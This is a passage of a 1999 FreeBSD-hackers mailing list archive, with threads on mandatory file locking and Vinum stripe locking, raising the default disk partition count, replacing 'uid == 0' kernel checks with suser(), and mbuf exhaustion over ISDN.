dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id TAA23064; Tue, 24 Aug 1999 19:24:50 -0700 (PDT) (envelope-from dillon) Date: Tue, 24 Aug 1999 19:24:50 -0700 (PDT) From: Matthew Dillon Message-Id: <199908250224.TAA23064@apollo.backplane.com> To: Terry Lambert Cc: dg@root.com, freebsd-hackers@FreeBSD.ORG Subject: Re: Possibility of increasing default MAXPARTITIONS from 8 to 16 References: <199908250218.TAA17723@usr01.primenet.com> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG :> :Use devfs (it doesn't require major/minor numbers). :> :> We can't use devfs for this, the partition id is already embedded in the :> dev_t and it has to stay that way to remain compatible with the :> preexisting partition space. : :Too bad you are not as willing to abandon your existing partition :space as quickly as you are willing to abandon your historical :disklabel format, or you wouldn't be having this problem. 8-). : : Terry Lambert : terry@lambert.org When devfs is the only way to access devices we can abandon traditional device major/minor id's. -Matt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 19:31:37 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from smtp03.primenet.com (smtp03.primenet.com [206.165.6.133]) by hub.freebsd.org (Postfix) with ESMTP id AE28D150DD; Tue, 24 Aug 1999 19:31:33 -0700 (PDT) (envelope-from tlambert@usr01.primenet.com) Received: (from daemon@localhost) by smtp03.primenet.com (8.9.3/8.9.3) id TAA04745; Tue, 24 Aug 1999 19:31:14 -0700 (MST) Received: from usr01.primenet.com(206.165.6.201) via SMTP by smtp03.primenet.com, id smtpdAAAczaOkj; Tue Aug 24 19:31:06 1999 Received: (from tlambert@localhost) by usr01.primenet.com (8.8.5/8.8.5) id TAA18311; Tue, 24 Aug 1999 19:31:09 -0700 (MST) From: Terry Lambert Message-Id: <199908250231.TAA18311@usr01.primenet.com> Subject: Re: Locking in Vinum (was: Mandatory locking?) To: grog@lemis.com (Greg Lehey) Date: Wed, 25 Aug 1999 02:31:09 +0000 (GMT) Cc: tlambert@primenet.com, a.reilly@lake.com.au, phk@critter.freebsd.dk, dillon@apollo.backplane.com, hackers@FreeBSD.ORG, cvs-committers@FreeBSD.ORG, wollman@khavrinen.lcs.mit.edu In-Reply-To: <19990825113518.D83273@freebie.lemis.com> from "Greg Lehey" at Aug 25, 99 11:35:18 am X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > > I think what people are missing here is that Vinum, when doing > > software RAID, is implementing a type of namespace escape, only > > it isn't a standard namespace escape. > > Interesting terminology. I think you've lost most people already. I hope not. It's not that hard a concept. You can hide filesystem objects from an upper layer, or you can "fold" directories. It's the idea of multiple views: hiding: folding: view 1: /foo/fee/.quota /xxx/data/yyy/data <-- data fork /foo/fee/bob /xxx/rsrc/yyy/rsrc view 2: /foo/fee/bob /xxx/yyy <-- data fork //rsrc//xxx/yyy <-- resource fork I.e.: trivial. > > Because this escapes the whole file, it is _not_ like the Vinum > > usage, which needs to escape parity bits on a block device. The > > Vinum usage needs to prevent access to the file range covered by the > > parity bits, rather than merely protecting the parity bits. > > Correct. I lock a stripe at a time. Again, I think that, even with a user space daemon, you really don't want to use an fcntl mechanism to deal with this. I think you really want an ioctl() against a device file, instead. > > It seems to me that this is a proper application of mandatory > > locks. > > Sure. It also has nothing to do with the userland file locking I was > talking about in the previous thread. > > > For the use proposed by Vinum, however, fcntl() based mandatory > > locks are probably not the proper tool. > > Vinum isn't proposing fcntl-based locks. I was looking at them for a > specific application; Vinum has always had its own locking mechanism > (see sys/dev/vinum/vinumlock.c). OK, it wasn't clear that you had jumped boats. > > This is because you can only apply locks to devices that have a > > VOP_ADVLOCK on their backing store, and which use the VFSOPS > > based fileops structures. > > > > For the same reason that Linux user lament the inability to > > place advisory range locks on special files in FreeBSD, so, too, > > would Vinum be unable to place mandatory locks through that > > same mechanism against special files in FreeBSD. > > > > To correct this to allow it to work would require hanging the > > locks off of the vnode, instead of hanging them off the backing > > object (I have been suggesting -- and providing patches for -- > > this for literally years). > > Can you point me to the patches again? These particular ones are probably outdated by some more recent ones by Mike Hancock, but they should be in the mondo patch set that was intended to allow NFS server locking. It's in my home directory on freebsd.org. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 19:46:38 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from allegro.lemis.com (allegro.lemis.com [192.109.197.134]) by hub.freebsd.org (Postfix) with ESMTP id 483FC15193; Tue, 24 Aug 1999 19:46:30 -0700 (PDT) (envelope-from grog@freebie.lemis.com) Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137]) by allegro.lemis.com (8.9.1/8.9.0) with ESMTP id MAA28661; Wed, 25 Aug 1999 12:16:20 +0930 (CST) Received: (from grog@localhost) by freebie.lemis.com (8.9.3/8.9.0) id MAA01924; Wed, 25 Aug 1999 12:16:17 +0930 (CST) Date: Wed, 25 Aug 1999 12:16:17 +0930 From: Greg Lehey To: "Albert D. Cahalan" Cc: Wes Peters , Mark Murray , "Daniel C. Sobral" , Poul-Henning Kamp , Matthew Dillon , FreeBSD Hackers , FreeBSD Committers , Garrett Wollman Subject: Re: Mandatory locking? Message-ID: <19990825121616.H83273@freebie.lemis.com> References: <199908250241.WAA11837@jupiter.cs.uml.edu> <199908232012.WAA78393@gratis.grondar.za> <19990823213857.B99022@ppp18344.on.bellglobal.com> <37C2AB77.52678981@softweyr.com> <19990824175154.A8869@ppp18415.on.bellglobal.com> <19990824214523.A11992@ppp18415.on.bellglobal.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.4i In-Reply-To: <19990824214523.A11992@ppp18415.on.bellglobal.com>; from Tim Vanderhoek on Tue, Aug 24, 1999 at 09:45:23PM -0400 WWW-Home-Page: http://www.lemis.com/~grog X-PGP-Fingerprint: 6B 7B C3 8C 61 CD 54 AF 13 24 52 F8 6D A4 95 EF Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-41-739-7062 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tuesday, 24 August 1999 at 22:41:15 -0400, Albert D. Cahalan wrote: > > It is clear to me that BSD won't do this. SysV and Linux have > this feature. Linux runs everywhere that FreeBSD does and has > better features too... so why run BSD at all? I assume you're talking about mandatory locking. Yes, you're right, FreeBSD has no merit, so why bother even reading the mailing lists? Greg -- See complete headers for address, home page and phone numbers finger grog@lemis.com for PGP public key To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 19:55:35 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from icicle.winternet.com (icicle.winternet.com [198.174.169.13]) by hub.freebsd.org (Postfix) with ESMTP id B9026152AD for ; Tue, 24 Aug 1999 19:54:57 -0700 (PDT) (envelope-from nrahlstr@mail.winternet.com) Received: from tundra.winternet.com (nrahlstr@tundra.winternet.com [198.174.169.11]) by icicle.winternet.com (8.9.3/8.9.3) with ESMTP id VAA16150; Tue, 24 Aug 1999 21:53:04 -0500 (CDT) SMTP "HELO" (ESMTP) greeting from tundra.winternet.com But _really_ from :: nrahlstr@tundra.winternet.com [198.174.169.11] SMTP "MAIL From" = nrahlstr@mail.winternet.com (Nathan Ahlstrom) SMTP "RCPT To" = Received: (from nrahlstr@localhost) by tundra.winternet.com (8.8.7/8.8.4) id VAA18658; Tue, 24 Aug 1999 21:53:03 -0500 (CDT) Message-ID: <19990824215302.A18654@winternet.com> Date: Tue, 24 Aug 1999 21:53:02 -0500 From: Nathan Ahlstrom To: Bill Fumerola , Ryan Cc: hackers@FreeBSD.ORG Subject: Re: Are certain parts of kernel not using suser() when they should? Mail-Followup-To: Bill Fumerola , Ryan , hackers@FreeBSD.ORG References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.93.2i In-Reply-To: ; from Bill Fumerola on Tue, Aug 24, 1999 at 07:51:36PM -0400 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Bill Fumerola wrote: > On Tue, 24 Aug 1999, Ryan wrote: > > > Grepping through the kernel source tree, one finds these 12 files that use > > "uid == 0" checks instead of the usual suser(). There may be more than one > > instance per function/macro: > [...] > > Is there a reason for these checks not to use suser? > > No. Eivind Eklund was working this according the FreeBSD projects > page (eivind@FreeBSD.org). I don't know the implication of this, > would this impact phk's jail routines? There are some prelimiary patches for this on my web page. http://www.freebsd.org/~nrahlstr/suser.patch I had been working with Eivind on it, but I have not had time as of late. The patch that is there should be close to commit ready modulo a decsion to use suser vs. suser_xxx. If anyone is interested in committing this patch, I can work with them/clean it up if necessary. Thanks! Nathan -- Nathan Ahlstrom FreeBSD: http://www.FreeBSD.org/ nrahlstr@winternet.com PGP Key ID: 0x67BC9D19 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 20: 1:24 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from patriot.wipinfo.soft.net (patriot.wipinfo.soft.net [164.164.6.21]) by hub.freebsd.org (Postfix) with ESMTP id 5B93514BF2 for ; Tue, 24 Aug 1999 20:01:09 -0700 (PDT) (envelope-from bee@wipinfo.soft.net) Received: from vayu.wipinfo.soft.net (root@vayu [192.168.200.170]) by patriot.wipinfo.soft.net (8.9.3/8.9.3) with ESMTP id IAA14721 for ; Wed, 25 Aug 1999 08:31:21 -0500 (GMT) Received: from wipro.tcpn.com ([172.31.41.11]) by vayu.wipinfo.soft.net (8.9.3/8.9.3) with ESMTP id IAA11573 for ; Wed, 25 Aug 1999 08:49:08 +0530 Received: from keeravani (keeravani.wipro.tcpn.com [172.31.41.136]) by wipro.tcpn.com (8.9.3/8.9.3) with SMTP id IAA14290 for ; Wed, 25 Aug 1999 08:32:58 +0530 (IST) Reply-To: From: "Biju Susmer" To: "'FreeBSD Hackers'" Subject: RE: Mandatory locking? Date: Wed, 25 Aug 1999 08:31:23 +0530 Message-ID: <000301beeea6$1ea898a0$88291fac@wipro.tcpn.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 In-Reply-To: <19990824214523.A11992@ppp18415.on.bellglobal.com> X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Importance: Normal Disposition-Notification-To: "Biju Susmer" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG All the files under Tandem's NSK has mandatory locking. The file cannot be opened if another process has it opened. some thing like * if the file is opened for reading, any one can open it for reading but opening for writing gives error * if the file is open for writing, it can't be opened for read/write * if the process holding the file is killed, the lock is gone * it is possible to get the pid of the process(es) which has a given file open (like which process has file "xyz" open? kind of query). btw, is there any way to get this info now in FBSD? Also, file need not be explicitly locked. Opening a file puts proper lock. A file which is open can't be deleted also ;) This kind of locking will solve most of the problems which are pointed out. Mandatory locking on a part of the file is in no way better than advisory locking. All the files need not have this option. there must be a way to specify that "this file needs mandatory locking" to the kernel. I don't know what all changes are needed in the kernel.. but I'm thinking about dup() and fork().. What is the fate of the lock if the process does a fork()? I hope this makes sense.. -Biju To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 20:22:31 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from allegro.lemis.com (allegro.lemis.com [192.109.197.134]) by hub.freebsd.org (Postfix) with ESMTP id 334F1152A6 for ; Tue, 24 Aug 1999 20:22:24 -0700 (PDT) (envelope-from grog@freebie.lemis.com) Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137]) by allegro.lemis.com (8.9.1/8.9.0) with ESMTP id MAA28852; Wed, 25 Aug 1999 12:52:23 +0930 (CST) Received: (from grog@localhost) by freebie.lemis.com (8.9.3/8.9.0) id MAA02164; Wed, 25 Aug 1999 12:52:22 +0930 (CST) Date: Wed, 25 Aug 1999 12:52:21 +0930 From: Greg Lehey To: Biju Susmer Cc: FreeBSD Hackers Subject: Re: Mandatory locking? Message-ID: <19990825125221.I83273@freebie.lemis.com> References: <19990824214523.A11992@ppp18415.on.bellglobal.com> <000301beeea6$1ea898a0$88291fac@wipro.tcpn.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.4i In-Reply-To: <000301beeea6$1ea898a0$88291fac@wipro.tcpn.com>; from Biju Susmer on Wed, Aug 25, 1999 at 08:31:23AM +0530 WWW-Home-Page: http://www.lemis.com/~grog X-PGP-Fingerprint: 6B 7B C3 8C 61 CD 54 AF 13 24 52 F8 6D A4 95 EF Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-41-739-7062 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wednesday, 25 August 1999 at 8:31:23 +0530, Biju Susmer wrote: > All the files under Tandem's NSK has mandatory locking. The file cannot be > opened if another process has it opened. some thing like > > * if the file is opened for reading, any one can open it for > reading but opening for writing gives error > * if the file is open for writing, it can't be opened for > read/write This isn't locking, it's access exclusion. It's also not correct for NSK. NSK's OPEN procedure allows the following possibilities: - shared access. Any process can open the file unless another process has it opened with a different access. - exclusive access. Only this process can open the file. If it's already open, the open call will fail. - protected access. Only this process can have the file open for write. If it's already open for writing, the open call will fail. NSK uses the procedures LOCKFILE and LOCKREC for locking. Like most operating systems, locks are in the kernel and mandatory. > * if the process holding the file is killed, the lock is gone > * it is possible to get the pid of the process(es) which has > a given file open (like which process has file "xyz" open? > kind of query). btw, is there any way to get this info now in FBSD? fstat or lsof. > Also, file need not be explicitly locked. Opening a file puts proper > lock. I'm not sure what you're saying here. Opening a file doesn't lock it. If the file is audited, you must issue a BEGINTRANSACTION call before you can access it, and TMF will place locks where necessary. > A file which is open can't be deleted also ;) That's because of NSK's simplistic file system. > This kind of locking will solve most of the problems which are > pointed out. Mandatory locking on a part of the file is in no way > better than advisory locking. Again, I'm not sure how much of this you understand. I was thinking of doing something like NSK's LOCKREC function. > All the files need not have this option. there must be a way to > specify that "this file needs mandatory locking" to the kernel. That's a point for discussion. > I don't know what all changes are needed in the kernel.. but I'm > thinking about dup() and fork().. What is the fate of the lock if > the process does a fork()? I can think of a number of scenarios. Certainly another point for discussion. Greg -- See complete headers for address, home page and phone numbers finger grog@lemis.com for PGP public key To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 21:18:26 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from patriot.wipinfo.soft.net (patriot.wipinfo.soft.net [164.164.6.21]) by hub.freebsd.org (Postfix) with ESMTP id 14E7015044 for ; Tue, 24 Aug 1999 21:18:13 -0700 (PDT) (envelope-from bee@wipinfo.soft.net) Received: from vayu.wipinfo.soft.net (root@vayu [192.168.200.170]) by patriot.wipinfo.soft.net (8.9.3/8.9.3) with ESMTP id JAA23642; Wed, 25 Aug 1999 09:48:01 -0500 (GMT) Received: from wipro.tcpn.com ([172.31.41.11]) by vayu.wipinfo.soft.net (8.9.3/8.9.3) with ESMTP id KAA23971; Wed, 25 Aug 1999 10:05:48 +0530 Received: from keeravani (keeravani.wipro.tcpn.com [172.31.41.136]) by wipro.tcpn.com (8.9.3/8.9.3) with SMTP id JAA17290; Wed, 25 Aug 1999 09:49:37 +0530 (IST) Reply-To: From: "Biju Susmer" To: "'Greg Lehey'" , "'Biju Susmer'" Cc: "'FreeBSD Hackers'" Subject: RE: Mandatory locking? Date: Wed, 25 Aug 1999 09:48:03 +0530 Message-ID: <000401beeeb0$d3fd4c00$88291fac@wipro.tcpn.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 In-Reply-To: <19990825125221.I83273@freebie.lemis.com> X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Importance: Normal Disposition-Notification-To: "Biju Susmer" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > > This isn't locking, it's access exclusion. It's also not correct for > NSK. what is the difference between locking and access exclusion? i was thinking both are same (locking implies access exclusion). in other words, My idea of mandatory locking is same as exclusive access to the file. are we in sync? else tell me what exactly u mean by "Mandatory locking". > NSK's OPEN procedure allows the following possibilities: > - shared access. Any process can open the file unless another > process has it opened with a different access. > - exclusive access. Only this process can open the file. If it's > already open, the open call will fail. > - protected access. Only this process can have the file open for > write. If it's already open for writing, the open call will fail. > Fine. This is true. i didn't want to give too much details. What i want to tell is, there need not be a special call for lock. Combining lock/access exclusion with open will be better. > > > Also, file need not be explicitly locked. Opening a file puts proper > > lock. > > I'm not sure what you're saying here. Opening a file doesn't lock it. same as above. put lock in open, not after getting fd. open should fail if file is locked. This will help programs unaware of locking to behave better. > > > This kind of locking will solve most of the problems which are > > pointed out. Mandatory locking on a part of the file is in no way > > better than advisory locking. > > Again, I'm not sure how much of this you understand. I was thinking > of doing something like NSK's LOCKREC function. > LOCKREC locks records only. The problem is: processes A & B. B doesn't know about locking (like 'cat') 1. A opened file 2. It locked some part of the file 3. B opens and starts to write 4. B reached the region which is lockd and write blocks 5. A releases lock 6. B's write is unblocked. Here, how mandatory locking of a region help? isn't this same as advisory locking? If opening itself fails coz of lock, the programs unaware of mandatory locking will be forced to start from begining. -Biju To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 22:28:31 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from kithrup.com (kithrup.com [205.179.156.40]) by hub.freebsd.org (Postfix) with ESMTP id 774E015866; Tue, 24 Aug 1999 22:28:11 -0700 (PDT) (envelope-from sef@kithrup.com) Received: (from sef@localhost) by kithrup.com (8.8.8/8.8.8) id WAA16151; Tue, 24 Aug 1999 22:28:10 -0700 (PDT) (envelope-from sef) Date: Tue, 24 Aug 1999 22:28:10 -0700 (PDT) From: Sean Eric Fagan Message-Id: <199908250528.WAA16151@kithrup.com> To: hackers@freebsd.org Cc: cvs-committers@freebsd.org Reply-To: hackers@freebsd.org Subject: Re: Locking in Vinum (was: Mandatory locking?) In-Reply-To: <19990825113518.D83273.kithrup.freebsd.cvs-all@freebie.lemis.com> References: <199908250152.SAA16323@usr01.primenet.com>; from Terry Lambert on Wed, Aug 25, 1999 at 01:52:38AM +0000 Organization: Kithrup Enterprises, Ltd. Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In article <19990825113518.D83273.kithrup.freebsd.cvs-all@freebie.lemis.com> you write: >Correct. I lock a stripe at a time. What people need to realize is that Greg is doing this locking in user mode. As such, he has two real options: 1. Implement a vinum-specific ioctl that locks a region of a file at the device level, or 2. Implement standard mandatory region locking, which damned near every OS in existence has, and which OSes which have existed for decades longer than unix has existed have always had. Now, because this _is_ (currently) a vinum-specific requirement, doing (1) is not all that unpalatable. However, it's at the wrong level (device driver, instead of file), and it is merely putting off the inevitable. Or does nobody wish to have working Linux and Solaris/x86 compatibility after all? That reason, if nothing else, is reason to design it, so it gets done correctly. The fact that Greg thinks it's necessary and desirable (and he has considerably more OS experience than a lot of the people who have decided it's a stupid idea) should alone say a lot for the idea. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 22:34:11 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from dingo.cdrom.com (castles553.castles.com [208.214.165.117]) by hub.freebsd.org (Postfix) with ESMTP id 58EC014F0F for ; Tue, 24 Aug 1999 22:34:08 -0700 (PDT) (envelope-from mike@dingo.cdrom.com) Received: from dingo.cdrom.com (LOCALHOST [127.0.0.1]) by dingo.cdrom.com (8.9.3/8.8.8) with ESMTP id WAA00864; Tue, 24 Aug 1999 22:28:18 -0700 (PDT) (envelope-from mike@dingo.cdrom.com) Message-Id: <199908250528.WAA00864@dingo.cdrom.com> X-Mailer: exmh version 2.0.2 2/24/98 To: Matthew Dillon Cc: David Greenman , FreeBSD Hackers List Subject: Re: Possibility of increasing default MAXPARTITIONS from 8 to 16 In-reply-to: Your message of "Tue, 24 Aug 1999 16:03:27 PDT." <199908242303.QAA19246@apollo.backplane.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 24 Aug 1999 22:28:18 -0700 From: Mike Smith Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > :> The question I am putting to the group is whether it is "time" for us, > :> with today's large disks, to increase the system-compiled default > :> from 8 to 16 partitions. Instead of a-h we would have a-p > : > : It seems reasonable to me, although there may be issues with finding a bit > :in the minor number - I think they've pretty much all been taken. > : > :-DG > : > :David Greenman > > Cripes! Now that is really annoying. da0a is 4,0 and da1a is 4,8. DEVFS/SLICE to the rescue. -- \\ The mind's the standard \\ Mike Smith \\ of the man. \\ msmith@freebsd.org \\ -- Joseph Merrick \\ msmith@cdrom.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 22:37:29 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from nets5.rz.rwth-aachen.de (nets5.rz.RWTH-Aachen.DE [137.226.144.13]) by hub.freebsd.org (Postfix) with ESMTP id D3B971518E for ; Tue, 24 Aug 1999 22:37:26 -0700 (PDT) (envelope-from kuku@gilberto.physik.RWTH-Aachen.DE) Received: from campino.informatik.rwth-aachen.de (campino.Informatik.RWTH-Aachen.DE [137.226.116.240]) by nets5.rz.rwth-aachen.de (8.9.1a/8.9.1/6) with ESMTP id HAA16655; Wed, 25 Aug 1999 07:32:26 +0200 (MET DST) Received: from gil.physik.rwth-aachen.de (gilberto.physik.rwth-aachen.de [137.226.30.2]) by campino.informatik.rwth-aachen.de (8.9.1a/8.9.1/3) with ESMTP id HAA29941; Wed, 25 Aug 1999 07:32:35 +0200 (MET DST) Received: (from kuku@localhost) by gil.physik.rwth-aachen.de (8.9.2/8.6.9) id HAA56252; Wed, 25 Aug 1999 07:32:37 +0200 (CEST) Date: Wed, 25 Aug 1999 07:32:37 +0200 From: Christoph Kukulies To: Luigi Rizzo Cc: Christoph Kukulies , hackers@FreeBSD.ORG Subject: Re: mbufs eaten up - when pinging Message-ID: <19990825073237.C56156@gil.physik.rwth-aachen.de> References: <199908241554.RAA52254@gil.physik.rwth-aachen.de> <199908241447.QAA19160@labinfo.iet.unipi.it> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.4us In-Reply-To: <199908241447.QAA19160@labinfo.iet.unipi.it>; from Luigi Rizzo on Tue, Aug 24, 1999 at 04:47:03PM +0200 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, Aug 24, 1999 at 04:47:03PM +0200, Luigi Rizzo wrote: > > With a non-functioning route over isdn (i4b) I'm observing > > that mbufs allocated soon reach the limit and then I'm getting > > 'no buffer space' available. I'm not sure whether > > 'no buffer space' often comes when the output IFQ is full, which is > between 20 and 50 buffers. Are you sure you are seeing more than those > mbufs in use ? It occurs when about 105/128 mbufs (94%) are used. But Gary gave a plausible (is there such a word in english ? - no Webster in reach at the Moment :-) explanation. > > luigi -- Chris Christoph P. U. Kukulies kuku@gil.physik.rwth-aachen.de To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 23: 8:29 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.xmission.com (mail.xmission.com [198.60.22.22]) by hub.freebsd.org (Postfix) with ESMTP id 76AC0152C7; Tue, 24 Aug 1999 23:08:24 -0700 (PDT) (envelope-from wes@softweyr.com) Received: from [204.68.178.39] (helo=softweyr.com) by mail.xmission.com with esmtp (Exim 2.12 #1) id 11JWCp-00045Y-00; Wed, 25 Aug 1999 00:06:43 -0600 Message-ID: <37C387F1.BE7DD8D5@softweyr.com> Date: Wed, 25 Aug 1999 00:06:41 -0600 From: Wes Peters Organization: Softweyr LLC X-Mailer: Mozilla 4.5 [en] (X11; U; FreeBSD 3.1-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: hackers@FreeBSD.org Cc: cvs-committers@FreeBSD.org Subject: Re: Locking in Vinum (was: Mandatory locking?) References: <199908250152.SAA16323@usr01.primenet.com>; from Terry Lambert on Wed, Aug 25, 1999 at 01:52:38AM +0000 <199908250528.WAA16151@kithrup.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Sean Eric Fagan wrote: > > The fact that Greg thinks it's necessary and desirable (and he has > considerably more OS experience than a lot of the people who have decided it's > a stupid idea) should alone say a lot for the idea. I was waiting for someone else to bring up that point, because I might be accused of partiality. The fact that you and Terry both seem to agree with Greg makes it a very rare triumvirate. So, who's going to do it? ;^) -- "Where am I, and what am I doing in this handbasket?" Wes Peters Softweyr LLC http://softweyr.com/ wes@softweyr.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 23:13:38 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.xmission.com (mail.xmission.com [198.60.22.22]) by hub.freebsd.org (Postfix) with ESMTP id C5AA01594F for ; Tue, 24 Aug 1999 23:13:23 -0700 (PDT) (envelope-from wes@softweyr.com) Received: from [204.68.178.39] (helo=softweyr.com) by mail.xmission.com with esmtp (Exim 2.12 #1) id 11JWHM-0004RQ-00; Wed, 25 Aug 1999 00:11:25 -0600 Message-ID: <37C3890B.7AD1E44F@softweyr.com> Date: Wed, 25 Aug 1999 00:11:23 -0600 From: Wes Peters Organization: Softweyr LLC X-Mailer: Mozilla 4.5 [en] (X11; U; FreeBSD 3.1-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: "Daniel C. Sobral" Cc: Christopher Masto , FreeBSD Hackers Subject: Re: Mandatory locking? References: <19990823231130.A16133@netmonger.net> <19990823232726.B16133@netmonger.net> <37C2B148.60FB81FA@newsguy.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG "Daniel C. Sobral" wrote: > > Christopher Masto wrote: > > > > I don't see the use for it. > > :-) > > The thing is SO obviously flawed, that I wonder how many marketoid > drones it took to make sensible people think it is actually useful. > :-) And how many programmers with nearly (or more than) two decades of UNIX experience it takes to convince someone it really is useful. ;^) -- "Where am I, and what am I doing in this handbasket?" Wes Peters Softweyr LLC http://softweyr.com/ wes@softweyr.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 23:18:48 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.xmission.com (mail.xmission.com [198.60.22.22]) by hub.freebsd.org (Postfix) with ESMTP id 2424B14C81; Tue, 24 Aug 1999 23:18:44 -0700 (PDT) (envelope-from wes@softweyr.com) Received: from [204.68.178.39] (helo=softweyr.com) by mail.xmission.com with esmtp (Exim 2.12 #1) id 11JWLH-0004qt-00; Wed, 25 Aug 1999 00:15:27 -0600 Message-ID: <37C389FC.3B3237CF@softweyr.com> Date: Wed, 25 Aug 1999 00:15:24 -0600 From: Wes Peters Organization: Softweyr LLC X-Mailer: Mozilla 4.5 [en] (X11; U; FreeBSD 3.1-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: Tim Vanderhoek Cc: Mark Murray , "Daniel C. Sobral" , Greg Lehey , Poul-Henning Kamp , Matthew Dillon , FreeBSD Hackers , FreeBSD Committers , Garrett Wollman Subject: Re: Mandatory locking? References: <199908232012.WAA78393@gratis.grondar.za> <19990823213857.B99022@ppp18344.on.bellglobal.com> <37C2AB77.52678981@softweyr.com> <19990824175154.A8869@ppp18415.on.bellglobal.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Tim Vanderhoek wrote: > > On Tue, Aug 24, 1999 at 08:25:59AM -0600, Wes Peters wrote: > > > > > > I don't like restricting the breaking of mandatory locks to the > > > superuser. It could be restricted to specific users (say file owner + > > > root)... > > > > How 'bout "anyone who can kill the process holding the lock?" > > + file owner ( + root ). Which processes can't root kill? > Otherwise I would be able to lock ~wes/FreeBSDmarkers and you wouldn't > be able to do anything about it until either notifying me or notifying > root about the process I accidentally left hanging. Hey, I'm the one who gave you write access to it. If I didn't want you write-locking it, I wouldn't give you write access, now wood eye? > [Not that I'm likely to ever need more than an advisory lock on that > particular file, but the principle... :-] > > Hm. ``chmod go-"MayLock" ~wes/Fre*'' The sticky bit could be used. Or better 